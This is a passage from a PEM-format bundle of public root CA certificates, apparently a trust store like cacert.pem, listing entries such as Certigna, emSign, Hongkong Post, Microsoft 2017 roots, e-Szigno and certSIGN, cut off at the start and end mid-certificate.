dxIOE/TdFpS/S2d7cFOFyrC78zhNLJA5wA3CXWvp4uXViI3WLL+rG761KIcSF3Ru/H38j9CHJrAb
+7lsq+KePRXBOy5nAliRn+/4Qh8st2j1da3Ptfb/EX3C8CSlrdP6oDyp+l3cpaDvRKS+1ujl5BOW
F3sGPjLtx7dCvHaj2GU4Kzg1USEODm8uNBNA4StnDG1KQTAYI1oyVZnJF+A83vbsea0rWBmirSwi
GpWOvpaQXUJXxPkUAzUrHC1RVwinOt4/5Mi0A3PCwSaAuwtCH60NryZy2sy+s6ODWA2CxR9GUeOc
GMyNm43sSet1UNWMKFnKdDTajAshqx7qG+XH/RU+wBeq+yNuJkbL+vmxcmtpzyKEC2IPrNkZAJSi
djzULZrtBJ4tBmIQN1IchXIbJ+XMxjHsN+xjWZsLHXbMfjKaiJUINlK73nZfdklJrX+9ZSCyycEr
dhh2n1ax
-----END CERTIFICATE-----

Certigna Root CA
================
-----BEGIN CERTIFICATE-----
MIIGWzCCBEOgAwIBAgIRAMrpG4nxVQMNo+ZBbcTjpuEwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UE
BhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczEcMBoGA1UECwwTMDAwMiA0ODE0NjMwODEwMDAzNjEZ
MBcGA1UEAwwQQ2VydGlnbmEgUm9vdCBDQTAeFw0xMzEwMDEwODMyMjdaFw0zMzEwMDEwODMyMjda
MFoxCzAJBgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxHDAaBgNVBAsMEzAwMDIgNDgxNDYz
MDgxMDAwMzYxGTAXBgNVBAMMEENlcnRpZ25hIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4IC
DwAwggIKAoICAQDNGDllGlmx6mQWDoyUJJV8g9PFOSbcDO8WV43X2KyjQn+Cyu3NW9sOty3tRQgX
stmzy9YXUnIo245Onoq2C/mehJpNdt4iKVzSs9IGPjA5qXSjklYcoW9MCiBtnyN6tMbaLOQdLNyz
KNAT8kxOAkmhVECe5uUFoC2EyP+YbNDrihqECB63aCPuI9Vwzm1RaRDuoXrC0SIxwoKF0vJVdlB8
JXrJhFwLrN1CTivngqIkicuQstDuI7pmTLtipPlTWmR7fJj6o0ieD5Wupxj0auwuA0Wv8HT4Ks16
XdG+RCYyKfHx9WzMfgIhC59vpD++nVPiz32pLHxYGpfhPTc3GGYo0kDFUYqMwy3OU4gkWGQwFsWq
4NYKpkDfePb1BHxpE4S80dGnBs8B92jAqFe7OmGtBIyT46388NtEbVncSVmurJqZNjBBe3YzIoej
wpKGbvlw7q6Hh5UbxHq9MfPU0uWZ/75I7HX1eBYdpnDBfzwboZL7z8g81sWTCo/1VTp2lc5ZmIoJ
lXcymoO6LAQ6l73UL77XbJuiyn1tJslV1c/DeVIICZkHJC1kJWumIWmbat10TWuXekG9qxf5kBdI
jzb5LdXF2+6qhUVB+s06RbFo5jZMm5BX7CO5hwjCxAnxl4YqKE3idMDaxIzb3+KhF1nOJFl0Mdp/
/TBt2dzhauH8XwIDAQABo4IBGjCCARYwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYw
HQYDVR0OBBYEFBiHVuBud+4kNTxOc5of1uHieX4rMB8GA1UdIwQYMBaAFBiHVuBud+4kNTxOc5of
1uHieX4rMEQGA1UdIAQ9MDswOQYEVR0gADAxMC8GCCsGAQUFBwIBFiNodHRwczovL3d3d3cuY2Vy
dGlnbmEuZnIvYXV0b3JpdGVzLzBtBgNVHR8EZjBkMC+gLaArhilodHRwOi8vY3JsLmNlcnRpZ25h
LmZyL2NlcnRpZ25hcm9vdGNhLmNybDAxoC+gLYYraHR0cDovL2NybC5kaGlteW90aXMuY29tL2Nl
cnRpZ25hcm9vdGNhLmNybDANBgkqhkiG9w0BAQsFAAOCAgEAlLieT/DjlQgi581oQfccVdV8AOIt
OoldaDgvUSILSo3L6btdPrtcPbEo/uRTVRPPoZAbAh1fZkYJMyjhDSSXcNMQH+pkV5a7XdrnxIxP
TGRGHVyH41neQtGbqH6mid2PHMkwgu07nM3A6RngatgCdTer9zQoKJHyBApPNeNgJgH60BGM+RFq
7q89w1DTj18zeTyGqHNFkIwgtnJzFyO+B2XleJINugHA64wcZr+shncBlA2c5uk5jR+mUYyZDDl3
4bSb+hxnV29qao6pK0xXeXpXIs/NX2NGjVxZOob4Mkdio2cNGJHc+6Zr9UhhcyNZjgKnvETq9Emd
8VRY+WCv2hikLyhF3HqgiIZd8zvn/yk1gPxkQ5Tm4xxvvq0OKmOZK8l+hfZx6AYDlf7ej0gcWtSS
6Cvu5zHbugRqh5jnxV/vfaci9wHYTfmJ0A6aBVmknpjZbyvKcL5kwlWj9Omvw5Ip3IgWJJk8jSaY
tlu3zM63Nwf9JtmYhST/WSMDmu2dnajkXjjO11INb9I/bbEFa0nOipFGc/T2L/Coc3cOZayhjWZS
aX5LaAzHHjcng6WMxwLkFM1JAbBzs/3GkDpv0mztO+7skb6iQ12LAEpmJURw3kAP+HwV96LOPNde
E4yBFxgX0b3xdxA61GU5wSesVywlVP+i2k+KYTlerj1KjL0=
-----END CERTIFICATE-----

emSign Root CA - G1
===================
-----BEGIN CERTIFICATE-----
MIIDlDCCAnygAwIBAgIKMfXkYgxsWO3W2DANBgkqhkiG9w0BAQsFADBnMQswCQYDVQQGEwJJTjET
MBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRl
ZDEcMBoGA1UEAxMTZW1TaWduIFJvb3QgQ0EgLSBHMTAeFw0xODAyMTgxODMwMDBaFw00MzAyMTgx
ODMwMDBaMGcxCzAJBgNVBAYTAklOMRMwEQYDVQQLEwplbVNpZ24gUEtJMSUwIwYDVQQKExxlTXVk
aHJhIFRlY2hub2xvZ2llcyBMaW1pdGVkMRwwGgYDVQQDExNlbVNpZ24gUm9vdCBDQSAtIEcxMIIB
IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAk0u76WaK7p1b1TST0Bsew+eeuGQzf2N4aLTN
LnF115sgxk0pvLZoYIr3IZpWNVrzdr3YzZr/k1ZLpVkGoZM0Kd0WNHVO8oG0x5ZOrRkVUkr+PHB1
cM2vK6sVmjM8qrOLqs1D/fXqcP/tzxE7lM5OMhbTI0Aqd7OvPAEsbO2ZLIvZTmmYsvePQbAyeGHW
DV/D+qJAkh1cF+ZwPjXnorfCYuKrpDhMtTk1b+oDafo6VGiFbdbyL0NVHpENDtjVaqSW0RM8LHhQ
6DqS0hdW5TUaQBw+jSztOd9C4INBdN+jzcKGYEho42kLVACL5HZpIQ15TjQIXhTCzLG3rdd8cIrH
hQIDAQABo0IwQDAdBgNVHQ4EFgQU++8Nhp6w492pufEhF38+/PB3KxowDgYDVR0PAQH/BAQDAgEG
MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAFn/8oz1h31xPaOfG1vR2vjTnGs2
vZupYeveFix0PZ7mddrXuqe8QhfnPZHr5X3dPpzxz5KsbEjMwiI/aTvFthUvozXGaCocV685743Q
NcMYDHsAVhzNixl03r4PEuDQqqE/AjSxcM6dGNYIAwlG7mDgfrbESQRRfXBgvKqy/3lyeqYdPV8q
+Mri/Tm3R7nrft8EI6/6nAYH6ftjk4BAtcZsCjEozgyfz7MjNYBBjWzEN3uBL4ChQEKF6dk4jeih
U80Bv2noWgbyRQuQ+q7hv53yrlc8pa6yVvSLZUDp/TGBLPQ5Cdjua6e0ph0VpZj3AYHYhX3zUVxx
iN66zB+Afko=
-----END CERTIFICATE-----

emSign ECC Root CA - G3
=======================
-----BEGIN CERTIFICATE-----
MIICTjCCAdOgAwIBAgIKPPYHqWhwDtqLhDAKBggqhkjOPQQDAzBrMQswCQYDVQQGEwJJTjETMBEG
A1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRlZDEg
MB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0gRzMwHhcNMTgwMjE4MTgzMDAwWhcNNDMwMjE4
MTgzMDAwWjBrMQswCQYDVQQGEwJJTjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11
ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRlZDEgMB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0g
RzMwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQjpQy4LRL1KPOxst3iAhKAnjlfSU2fySU0WXTsuwYc
58Byr+iuL+FBVIcUqEqy6HyC5ltqtdyzdc6LBtCGI79G1Y4PPwT01xySfvalY8L1X44uT6EYGQIr
MgqCZH0Wk9GjQjBAMB0GA1UdDgQWBBR8XQKEE9TMipuBzhccLikenEhjQjAOBgNVHQ8BAf8EBAMC
AQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNpADBmAjEAvvNhzwIQHWSVB7gYboiFBS+D
CBeQyh+KTOgNG3qxrdWBCUfvO6wIBHxcmbHtRwfSAjEAnbpV/KlK6O3t5nYBQnvI+GDZjVGLVTv7
jHvrZQnD+JbNR6iC8hZVdyR+EhCVBCyj
-----END CERTIFICATE-----

emSign Root CA - C1
===================
-----BEGIN CERTIFICATE-----
MIIDczCCAlugAwIBAgILAK7PALrEzzL4Q7IwDQYJKoZIhvcNAQELBQAwVjELMAkGA1UEBhMCVVMx
EzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQDExNlbVNp
Z24gUm9vdCBDQSAtIEMxMB4XDTE4MDIxODE4MzAwMFoXDTQzMDIxODE4MzAwMFowVjELMAkGA1UE
BhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQD
ExNlbVNpZ24gUm9vdCBDQSAtIEMxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz+up
ufGZBczYKCFK83M0UYRWEPWgTywS4/oTmifQz/l5GnRfHXk5/Fv4cI7gklL35CX5VIPZHdPIWoU/
Xse2B+4+wM6ar6xWQio5JXDWv7V7Nq2s9nPczdcdioOl+yuQFTdrHCZH3DspVpNqs8FqOp099cGX
OFgFixwR4+S0uF2FHYP+eF8LRWgYSKVGczQ7/g/IdrvHGPMF0Ybzhe3nudkyrVWIzqa2kbBPrH4V
I5b2P/AgNBbeCsbEBEV5f6f9vtKppa+cxSMq9zwhbL2vj07FOrLzNBL834AaSaTUqZX3noleooms
lMuoaJuvimUnzYnu3Yy1aylwQ6BpC+S5DwIDAQABo0IwQDAdBgNVHQ4EFgQU/qHgcB4qAzlSWkK+
XJGFehiqTbUwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQAD
ggEBAMJKVvoVIXsoounlHfv4LcQ5lkFMOycsxGwYFYDGrK9HWS8mC+M2sO87/kOXSTKZEhVb3xEp
/6tT+LvBeA+snFOvV71ojD1pM/CjoCNjO2RnIkSt1XHLVip4kqNPEjE2NuLe/gDEo2APJ62gsIq1
NnpSob0n9CAnYuhNlCQT5AoE6TyrLshDCUrGYQTlSTR+08TI9Q/Aqum6VF7zYytPT1DU/rl7mYw9
wC68AivTxEDkigcxHpvOJpkT+xHqmiIMERnHXhuBUDDIlhJu58tBf5E7oke3VIAb3ADMmpDqw8NQ
BmIMMMAVSKeoWXzhriKi4gp6D/piq1JM4fHfyr6DDUI=
-----END CERTIFICATE-----

emSign ECC Root CA - C3
=======================
-----BEGIN CERTIFICATE-----
MIICKzCCAbGgAwIBAgIKe3G2gla4EnycqDAKBggqhkjOPQQDAzBaMQswCQYDVQQGEwJVUzETMBEG
A1UECxMKZW1TaWduIFBLSTEUMBIGA1UEChMLZU11ZGhyYSBJbmMxIDAeBgNVBAMTF2VtU2lnbiBF
Q0MgUm9vdCBDQSAtIEMzMB4XDTE4MDIxODE4MzAwMFoXDTQzMDIxODE4MzAwMFowWjELMAkGA1UE
BhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMSAwHgYDVQQD
ExdlbVNpZ24gRUNDIFJvb3QgQ0EgLSBDMzB2MBAGByqGSM49AgEGBSuBBAAiA2IABP2lYa57JhAd
6bciMK4G9IGzsUJxlTm801Ljr6/58pc1kjZGDoeVjbk5Wum739D+yAdBPLtVb4OjavtisIGJAnB9
SMVK4+kiVCJNk7tCDK93nCOmfddhEc5lx/h//vXyqaNCMEAwHQYDVR0OBBYEFPtaSNCAIEDyqOkA
B2kZd6fmw/TPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMDA2gA
MGUCMQC02C8Cif22TGK6Q04ThHK1rt0c3ta13FaPWEBaLd4gTCKDypOofu4SQMfWh0/434UCMBwU
ZOR8loMRnLDRWmFLpg9J0wD8ofzkpf9/rdcw0Md3f76BB1UwUCAU9Vc4CqgxUQ==
-----END CERTIFICATE-----

Hongkong Post Root CA 3
=======================
-----BEGIN CERTIFICATE-----
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
dBb9HxEGmpv0
-----END CERTIFICATE-----

Microsoft ECC Root Certificate Authority 2017
=============================================
-----BEGIN CERTIFICATE-----
MIICWTCCAd+gAwIBAgIQZvI9r4fei7FK6gxXMQHC7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV
UzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNyb3NvZnQgRUND
IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwHhcNMTkxMjE4MjMwNjQ1WhcNNDIwNzE4
MjMxNjA0WjBlMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYw
NAYDVQQDEy1NaWNyb3NvZnQgRUNDIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwdjAQ
BgcqhkjOPQIBBgUrgQQAIgNiAATUvD0CQnVBEyPNgASGAlEvaqiBYgtlzPbKnR5vSmZRogPZnZH6
thaxjG7efM3beaYvzrvOcS/lpaso7GMEZpn4+vKTEAXhgShC48Zo9OYbhGBKia/teQ87zvH2RPUB
eMCjVDBSMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTIy5lycFIM
+Oa+sgRXKSrPQhDtNTAQBgkrBgEEAYI3FQEEAwIBADAKBggqhkjOPQQDAwNoADBlAjBY8k3qDPlf
Xu5gKcs68tvWMoQZP3zVL8KxzJOuULsJMsbG7X7JNpQS5GiFBqIb0C8CMQCZ6Ra0DvpWSNSkMBaR
eNtUjGUBiudQZsIxtzm6uBoiB078a1QWIP8rtedMDE2mT3M=
-----END CERTIFICATE-----

Microsoft RSA Root Certificate Authority 2017
=============================================
-----BEGIN CERTIFICATE-----
MIIFqDCCA5CgAwIBAgIQHtOXCV/YtLNHcB6qvn9FszANBgkqhkiG9w0BAQwFADBlMQswCQYDVQQG
EwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNyb3NvZnQg
UlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwHhcNMTkxMjE4MjI1MTIyWhcNNDIw
NzE4MjMwMDIzWjBlMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9u
MTYwNAYDVQQDEy1NaWNyb3NvZnQgUlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcw
ggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKW76UM4wplZEWCpW9R2LBifOZNt9GkMml
7Xhqb0eRaPgnZ1AzHaGm++DlQ6OEAlcBXZxIQIJTELy/xztokLaCLeX0ZdDMbRnMlfl7rEqUrQ7e
S0MdhweSE5CAg2Q1OQT85elss7YfUJQ4ZVBcF0a5toW1HLUX6NZFndiyJrDKxHBKrmCk3bPZ7Pw7
1VdyvD/IybLeS2v4I2wDwAW9lcfNcztmgGTjGqwu+UcF8ga2m3P1eDNbx6H7JyqhtJqRjJHTOoI+
dkC0zVJhUXAoP8XFWvLJjEm7FFtNyP9nTUwSlq31/niol4fX/V4ggNyhSyL71Imtus5Hl0dVe49F
yGcohJUcaDDv70ngNXtk55iwlNpNhTs+VcQor1fznhPbRiefHqJeRIOkpcrVE7NLP8TjwuaGYaRS
MLl6IE9vDzhTyzMMEyuP1pq9KsgtsRx9S1HKR9FIJ3Jdh+vVReZIZZ2vUpC6W6IYZVcSn2i51BVr
lMRpIpj0M+Dt+VGOQVDJNE92kKz8OMHY4Xu54+OU4UZpyw4KUGsTuqwPN1q3ErWQgR5WrlcihtnJ
0tHXUeOrO8ZV/R4O03QK0dqq6mm4lyiPSMQH+FJDOvTKVTUssKZqwJz58oHhEmrARdlns87/I6KJ
ClTUFLkqqNfs+avNJVgyeY+QW5g5xAgGwax/Dj0ApQIDAQABo1QwUjAOBgNVHQ8BAf8EBAMCAYYw
DwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUCctZf4aycI8awznjwNnpv7tNsiMwEAYJKwYBBAGC
NxUBBAMCAQAwDQYJKoZIhvcNAQEMBQADggIBAKyvPl3CEZaJjqPnktaXFbgToqZCLgLNFgVZJ8og
6Lq46BrsTaiXVq5lQ7GPAJtSzVXNUzltYkyLDVt8LkS/gxCP81OCgMNPOsduET/m4xaRhPtthH80
dK2Jp86519efhGSSvpWhrQlTM93uCupKUY5vVau6tZRGrox/2KJQJWVggEbbMwSubLWYdFQl3JPk
+ONVFT24bcMKpBLBaYVu32TxU5nhSnUgnZUP5NbcA/FZGOhHibJXWpS2qdgXKxdJ5XbLwVaZOjex
/2kskZGT4d9Mozd2TaGf+G0eHdP67Pv0RR0Tbc/3WeUiJ3IrhvNXuzDtJE3cfVa7o7P4NHmJweDy
AmH3pvwPuxwXC65B2Xy9J6P9LjrRk5Sxcx0ki69bIImtt2dmefU6xqaWM/5TkshGsRGRxpl/j8nW
ZjEgQRCHLQzWwa80mMpkg/sTV9HB8Dx6jKXB/ZUhoHHBk2dxEuqPiAppGWSZI1b7rCoucL5mxAyE
7+WL85MB+GqQk2dLsmijtWKP6T+MejteD+eMuMZ87zf9dOLITzNy4ZQ5bb0Sr74MTnB8G2+NszKT
c0QWbej09+CVgI+WXTik9KveCjCHk9hNAHFiRSdLOkKEW39lt2c0Ui2cFmuqqNh7o0JMcccMyj6D
5KbvtwEwXlGjefVwaaZBRA+GsCyRxj3qrg+E
-----END CERTIFICATE-----

e-Szigno Root CA 2017
=====================
-----BEGIN CERTIFICATE-----
MIICQDCCAeWgAwIBAgIMAVRI7yH9l1kN9QQKMAoGCCqGSM49BAMCMHExCzAJBgNVBAYTAkhVMREw
DwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMgTHRkLjEXMBUGA1UEYQwOVkFUSFUt
MjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25vIFJvb3QgQ0EgMjAxNzAeFw0xNzA4MjIxMjA3MDZa
Fw00MjA4MjIxMjA3MDZaMHExCzAJBgNVBAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UE
CgwNTWljcm9zZWMgTHRkLjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3pp
Z25vIFJvb3QgQ0EgMjAxNzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABJbcPYrYsHtvxie+RJCx
s1YVe45DJH0ahFnuY2iyxl6H0BVIHqiQrb1TotreOpCmYF9oMrWGQd+HWyx7xf58etqjYzBhMA8G
A1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSHERUI0arBeAyxr87GyZDv
vzAEwDAfBgNVHSMEGDAWgBSHERUI0arBeAyxr87GyZDvvzAEwDAKBggqhkjOPQQDAgNJADBGAiEA
tVfd14pVCzbhhkT61NlojbjcI4qKDdQvfepz7L9NbKgCIQDLpbQS+ue16M9+k/zzNY9vTlp8tLxO
svxyqltZ+efcMQ==
-----END CERTIFICATE-----

certSIGN Root CA G2
===================
-----BEGIN CERTIFICATE-----
MIIFRzCCAy+gAwIBAgIJEQA0tk7GNi02MA0GCSqGSIb3DQEBCwUAMEExCzAJBgNVBAYTAlJPMRQw
EgYDVQQKEwtDRVJUU0lHTiBTQTEcMBoGA1UECxMTY2VydFNJR04gUk9PVCBDQSBHMjAeFw0xNzAy
MDYwOTI3MzVaFw00MjAyMDYwOTI3MzVaMEExCzAJBgNVBAYTAlJPMRQwEgYDVQQKEwtDRVJUU0lH
TiBTQTEcMBoGA1UECxMTY2VydFNJR04gUk9PVCBDQSBHMjCCAiIwDQYJKoZIhvcNAQEBBQADggIP
ADCCAgoCggIBAMDFdRmRfUR0dIf+DjuW3NgBFszuY5HnC2/OOwppGnzC46+CjobXXo9X69MhWf05
N0IwvlDqtg+piNguLWkh59E3GE59kdUWX2tbAMI5Qw02hVK5U2UPHULlj88F0+7cDBrZuIt4Imfk
abBoxTzkbFpG583H+u/E7Eu9aqSs/cwoUe+StCmrqzWaTOTECMYmzPhpn+Sc8CnTXPnGFiWeI8Mg
wT0PPzhAsP6CRDiqWhqKa2NYOLQV07YRaXseVO6MGiKscpc/I1mbySKEwQdPzH/iV8oScLumZfNp
dWO9lfsbl83kqK/20U6o2YpxJM02PbyWxPFsqa7lzw1uKA2wDrXKUXt4FMMgL3/7FFXhEZn91Qqh
ngLjYl/rNUssuHLoPj1PrCy7Lobio3aP5ZMqz6WryFyNSwb/EkaseMsUBzXgqd+L6a8VTxaJW732
jcZZroiFDsGJ6x9nxUWO/203Nit4ZoORUSs9/1F3dmKh7Gc+PoGD4FapUB8fepmrY7+EF3fxDTvf
95xhszWYijqy7DwaNz9+j5LP2RIUZNoQAhVB/0/E6xyjyfqZ90bp4RjZsbgyLcsUDFDYg2WD7rlc
z8sFWkz6GZdr1l0T08JcVLwyc6B49fFtHsufpaafItzRUZ6CeWRgKRM+o/1Pcmqr4tTluCRVLERL
iohEnMqE0yo7AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1Ud
DgQWBBSCIS1mxteg4BXrzkwJd8RgnlRuAzANBgkqhkiG9w0BAQsFAAOCAgEAYN4auOfyYILVAzOB
ywaK8SJJ6ejqkX/GM15oGQOGO0MBzwdw5AgeZYWR5hEit/UCI46uuR59H35s5r0l1ZUa8gWmr4UC
b6741jH/JclKyMeKqdmfS0mbEVeZkkMR3rYzpMzXjWR91M08KCy0mpbqTfXERMQlqiCA2ClV9+BB
/AYm/7k29UMUA2Z44RGx2iBfRgB4ACGlHgAoYXhvqAEBj500mv/0OJD7uNGzcgbJceaBxXntC6Z5
8hMLnPddDnskk7RI24Zf3lCGeOdA5jGokHZwYa+cNywRtYK3qq4kNFtyDGkNzVmf9nGvnAvRCjj5
BiKDUyUM/FHE5r7iOZULJK2v0ZXkltd0ZGtxTgI8qoXzIKNDOXZbbFD+mpwUHmUUihW9o4JFWklW
atKcsWMy5WHgUyIOpwpJ6st+H6jiYoD2EEVSmAYY3qXNL3+q1Ok+CHLsIwMCPKaq2LxndD0UF/tU
Sxfj03k9bWtJySgOLnRQvwzZRjoQhsmnP+mg7H/rpXdYaXHmgwo38oZJar55CJD2AhZkPuXaTH4M
NMn5X7azKFGnpyuqSfqNZSlO42sTp5SjLVFteAxEy9/eCG/Oo2Sr05WE1LlSVHJ7liXMvGnjSG4N
0MedJ5qq+BOS3R7fY581qRY27Iy4g/Q9iY/NtBde17MXQRBdJ3NghVdJIgc=
-----END CERTIFICATE-----

Trustwave Global Certification Authority
========================================
-----BEGIN CERTIFICATE-----
MIIF2jCCA8KgAwIBAgIMBfcOhtpJ80Y1LrqyMA0GCSqGSIb3DQEBCwUAMIGIMQswCQYDVQQGEwJV
UzERMA8GA1UECAwISWxsaW5vaXMxEDAOBgNVBAcMB0NoaWNhZ28xITAfBgNVBAoMGFRydXN0d2F2
ZSBIb2xkaW5ncywgSW5jLjExMC8GA1UEAwwoVHJ1c3R3YXZlIEdsb2JhbCBDZXJ0aWZpY2F0aW9u
IEF1dGhvcml0eTAeFw0xNzA4MjMxOTM0MTJaFw00MjA4MjMxOTM0MTJaMIGIMQswCQYDVQQGEwJV
UzERMA8GA1UECAwISWxsaW5vaXMxEDAOBgNVBAcMB0NoaWNhZ28xITAfBgNVBAoMGFRydXN0d2F2
ZSBIb2xkaW5ncywgSW5jLjExMC8GA1UEAwwoVHJ1c3R3YXZlIEdsb2JhbCBDZXJ0aWZpY2F0aW9u
IEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBALldUShLPDeS0YLOvR29
zd24q88KPuFd5dyqCblXAj7mY2Hf8g+CY66j96xz0XznswuvCAAJWX/NKSqIk4cXGIDtiLK0thAf
LdZfVaITXdHG6wZWiYj+rDKd/VzDBcdu7oaJuogDnXIhhpCujwOl3J+IKMujkkkP7NAP4m1ET4Bq
stTnoApTAbqOl5F2brz81Ws25kCI1nsvXwXoLG0R8+eyvpJETNKXpP7ScoFDB5zpET71ixpZfR9o
WN0EACyW80OzfpgZdNmcc9kYvkHHNHnZ9GLCQ7mzJ7Aiy/k9UscwR7PJPrhq4ufogXBeQotPJqX+
OsIgbrv4Fo7NDKm0G2x2EOFYeUY+VM6AqFcJNykbmROPDMjWLBz7BegIlT1lRtzuzWniTY+HKE40
Cz7PFNm73bZQmq131BnW2hqIyE4bJ3XYsgjxroMwuREOzYfwhI0Vcnyh78zyiGG69Gm7DIwLdVcE
